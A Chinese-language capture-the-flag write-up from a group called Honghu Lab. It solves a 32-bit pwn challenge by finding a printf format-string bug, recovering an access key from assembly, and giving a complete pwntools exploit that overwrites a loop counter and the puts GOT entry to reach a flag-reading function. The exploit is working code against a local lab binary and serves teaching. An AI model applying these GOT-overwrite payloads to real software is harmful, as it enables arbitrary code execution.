致歉声明:
感谢各位对鸿鹄实验室的关注,在之前发布的文章里,因编辑对排版的不熟练而造成的阅读不便,我们在这里深表歉意。我们以后会努力改正。同时也希望大家继续提出宝贵意见。
鸿鹄实验室愿每天与各位分享精彩文章,一同成长,一同进步。
////
pwn1
0x00
首先checksec看一下保护:
CANNARY(栈保护),如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过,NX即No-eXecute(不可执行)的意思,NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过ida载入,找一下漏洞点
明显的格式化字符串漏洞(printf)
格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写数据,简单来说就是格式化字符串可以进行内存地址的读写。
函数sub_8048696执行了/bin/cat flag
所以我们的目标就是让程序执行这段代码
但是在此题中想要利用格式化字符串漏洞有一个条件就是sub_80486E3返回值是1
因为格式化字符串漏洞在sub_8048859中,所以我们先看sub_80486E3
关键在if中,满足条件即可让返回值为1
直接看这段代码不够清晰(个人感觉)所以我是看的汇编
解出约束条件为xNd9y6
0x01 exp
from pwn import
*
#导入pwntools
context.log_level =
'debug'
#求offset,这里pwntools有自动化代码可以算出offset:
def exec_fmt(payload):
p = process("pwn_MinZhu")
p.sendline('xNd9y6')
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt =
FmtStr(exec_fmt)
offset=autofmt.offset
#到这就是求offset
p = process("pwn_MinZhu")
elf = ELF("./pwn_MinZhu")
system =
0x08048696
#sub_8048696函数的地址
plt = elf.got['puts']#获取puts的got表地址
print plt
p.sendlineafter("Key:","xNd9y6")
p.recvuntil("your msg:")
#接下来就是fmtstr_payload函数,这个函数的作用是用来生成格式化字符串漏洞写内存的payload.
#上述fmtstr_payload的第一个参数为offset偏移,
#第二个参数是一个字典,意义是往key的地址,写入value的值,
#也就是往地址0x804A064写入数据0x3
#解释一下0x804A064,这个地址的值影响循环次数程序原先是1,我们把它改成3让他多循环两次
payload=fmtstr_payload(4,{0x804A064:0x3})
p.sendline(payload)
payload = fmtstr_payload(4,{0x804A060:8217})
p.sendline(payload)
payload = fmtstr_payload(4,{plt:0x8048696})#把puts的地址改成我们的sub_8048696函数的地址
#当程序调用puts函数的时候由于把他的地址改成了sub_8048696函数的地址,所以就会去执行sub_8048696函数
p.sendline(payload)
p.interactive()
关于格式化字符串漏洞的具体含义以及原理
ctfwiki:https://ctfwiki.github.io/ctfwiki/pwn/linux/fmtstr/fmtstr_intro-zh/
paper https://paper.seebug.org/246/
关于pwntools:http://pwntools.readthedocs.org/
Thanks